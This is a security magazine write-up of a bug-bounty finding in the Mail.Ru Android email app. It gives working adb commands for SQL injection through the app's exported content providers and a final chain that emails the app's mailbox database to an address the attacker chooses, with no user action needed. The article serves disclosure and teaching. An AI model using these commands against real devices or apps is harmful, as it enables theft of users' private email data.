Inject for a Robot: Hacking the Mail.Ru Email App for Android

This article was published in “Xakep” #209 magazine, оriginal russian version - PDF

Inject for a Robot: Hacking the Mail.Ru Email App for Android

While digging around in a BugBounty program, I stumbled upon a chain of vulnerabilities in a popular email client from the IT giant Mail.Ru. Exploiting these vulnerabilities didn’t require special permissions on the device and could lead to the complete compromise of the victim’s mailbox contents or even the contents of the SD card. In this article, I’ll describe the methods used to find these vulnerabilities, the auxiliary tools, and the final exploit vector with a video demonstration.

Let’s get started!

First, you’ll need a device (or emulator), Android SDK tools, the APK file you want to test, drozer, and a set of small utilities for decompiling and analyzing Java code. But first things first.

Install the SDK Tools and set up the device/emulator. I’ll be using a real device, but only because it’s more convenient for me, and also because my computer heats up with the emulator running! Root rights on the device make your life easier, but they are not required to find and exploit many vulnerabilities.

After setting up the SDK Tools, download and install drozer from the official repository, and install the APK client on the device. Great, the preparations related to the device are finished. To check functionality, connect by forwarding the port (this is optional if you use a real device from your network, not an emulator):

1
2
$ adb forward tcp:31415 tcp:31415
$ drozer console connect 127.0.0.1

And, of course, install the Mail.Ru email app on the device, which we will be hacking. Unpack and decompile the app using the dex2jar utility. For viewing and searching through the source code, I recommend using JD-GUI, or you can use any other code editor you prefer. Everything is ready, let’s start the research.

Here’s what a successfully launched drozer console looks like

Here’s what a successfully launched drozer console looks like

INFO:
If you want to try all the actions described for research purposes, here is the exact version of the Mail.Ru APK I experimented with. Download, try, and report bugs! 🙂

Finding the Attack Vector

Now for the easy part—finding vulnerabilities, designing a vector, and writing an exploit. Start by scanning the application: look for something to latch onto. This is done using drozer as follows:

1
2
3
4
5
6
7
8
dz> run app.package.attacksurface ru.mailru.app
could not find the package: ru.mailru.app
dz> run app.package.attacksurface ru.mail.mailapp
Attack Surface:
26 activities exported
10 broadcast receivers exported
2 content providers exported
14 services exported

As you can see, the application has quite a few exported content providers. Let’s start with those. The command run app.provider.info -a ru.mail.mailapp will give us a list of two providers:

1
2
ru.mail.mailbox.contacts
ru.mail.mailapp.images.cache

By the way, you can let drozer automatically scan the provider with the command:

1
dz> run scanner.provider.injection -a ru.mail.mailapp

But I prefer to search for vulnerabilities manually, so let’s just try calling this content provider directly via adb with the am start command on the device. Again, since the content provider is exported, root rights are not necessary.

1
2
$ adb shell am start -d "content://ru.mail.mailapp.images.cache/image_parameters/0\'"
Starting: Intent { dat=content://ru.mail.mailapp.images.cache/image_parameters/0' }

As you can see, the user is prompted to choose what to do with this URL and which activity to launch. To avoid such questions, add the -n parameter to the am command and specify the desired activity, for example, ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity. The application will immediately crash with an error, and we go to logcat to find out what the problem is.

Classic SQL error when we inject a quote!

Classic SQL error when we inject a quote!

The problem is that this is a typical union-based SQL injection, which can be expanded to retrieve output (both on the phone screen and in the system log):

1
2
3
4
5
6
$ adb shell am start -d "content://ru.mail.mailapp.images.cache/image_parameters/0\)\ union\ select\ 1,2,3,sqlite_version\(\),5,6,7,8--\ /" -n ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity
...
Starting: Intent { dat=content://ru.mail.mailapp.images.cache/image_parameters/0) union select 1,2,3,sqlite_version(),5,6,7,8-- / cmp=ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity }
$ adb logcat
...
E/BitmapFactory(15311): Unable to decode stream: java.io.FileNotFoundException: /3.8.6: open failed: ENOENT (No such file or directory)

As it turns out, not only the first content provider but also the second one available to third-party applications is vulnerable to SQL injection. You can use the following vector for it:

1
$ adb shell am start -d "content://ru.mail.mailbox.contacts/account/\'\)\ union\ select\ 1,2,3,4,3,6,7,8,9,10+" -n ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity

To understand why this happens, let’s look directly at the decompiled application’s source code. The answer lies in the file located at ru/mail/mailbox/content/contact/ContactsProvider.java. As you can see, the result of the getContactAccount() function is directly used in the SQL query without any validation, allowing an attacker to perform an injection.

Executing a union-based injection and getting the output in the error

Executing a union-based injection and getting the output in the error

Expanding the Inject

But that wasn’t enough for me; I wanted full access to the application files (including the mailbox_db file) located in the system folder at /data/data/ru.mail.mailapp/databases/, where the application stores key information, including email content. As noticed earlier, one of the columns stores the path to the file attached to the email. Since the file is accessed by the Mail.Ru email app itself, we can specify files accessible to the Mail.Ru email app, like /data/data/ru.mail.mailapp/databases/mailbox_db.

Then the chosen vector will look something like this:

1
$ adb shell am start -d "content://ru.mail.mailbox.contacts/account/\'\)\ union\ select\ 111,\'%2fdata%2fdata%2fru.mail.mailapp%2fdatabases%2fmailbox_db\',333,444,555,666,777,888,99,100500--+" -n ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity

Judging by the fact that the file is attached and its real size is indicated below, we can conclude that the vector worked successfully and we “loaded” the desired object into the email. The only issue is that the user still needs to send this email with the attached file…

The application after injection, showing which column is responsible for what

The application after injection, showing which column is responsible for what

Since we have access to some exported activities, we can find one like ru.mail.ui.writemail.MailToMySelfActivity, which is responsible for automatically sending emails “to oneself.” We use it in the final attack vector so that the email is sent immediately without any user involvement. We add the previous vector to it and specify our email and other sending details as extras. These parameters, by the way, can also be found in the source code (by simply grepping the source files). But I guessed them quickly without any hints.

The final attack vector looks like this:

1
2
3
$ adb shell am start -W -a android.intent.action.SEND -e android.support.v4.app.EXTRA_CALLING_PACKAGE "ru.mail.mailapp" --ecn android.support.v4.app.EXTRA_CALLING_ACTIVITY "ru.mail.mailapp/ru.mail.ui.writemail.MailToMySelfActivity" -d "content://ru.mail.mailbox.contacts/account/\'\)\ union\ select\ 1,\'%2fdata%2fdata%2fru.mail.mailapp%2fdatabases%2fmailbox_db\',3,4,5,6,7,8,9,2--+" -e android.intent.extra.TEXT "pew-pew" -e android

.intent.extra.SUBJECT "PWND" --esa android.intent.extra.EMAIL "[email protected]" -n ru.mail.mailapp/ru.mail.ui.writemail.MailToMySelfActivity

where EMAIL is our mailbox to which the email with the specified file (in this case, the file /data/data/ru.mail.mailapp/databases/mailbox_db) will be sent.

Specifying the column value as the address of the email database file

Specifying the column value as the address of the email database file

What happens after running this command? The application will launch, the SQL injection vector will load the specified file, and the email will be sent “to oneself,” including the transmitted extras. You can see a demonstration of the exploit in action in the video below:

mail mobile pwn

Conclusion

Using the described technique, we can execute SQL queries to some accessible tables and retrieve and dump all files accessible to the application without root rights. Again, no actions are required on the phone itself for this vector. It is also worth noting that any third-party application installed on the device can use this attack. For conducting such attacks, the black market offers a service to “install” your malicious application on a large number of unsuspecting users’ devices.

Naturally, I reported all the vulnerabilities to Mail.Ru’s BugBounty program but unfortunately did not receive a reward. The official response was:

Few mistakenly exported Content providers and activities are reported to have vulnerabilities, allowing application data access and manipulation. This report was marked as a duplicate due to known fact activities and content providers are exported by mistake (fix is under development).

Why did the report status change to None Applicable, even though the vulnerabilities were present in the official app at the time of the report? I don’t know, but I no longer want to search for vulnerabilities in Mail.Ru products and services. I hope others succeed better than I did. Good luck!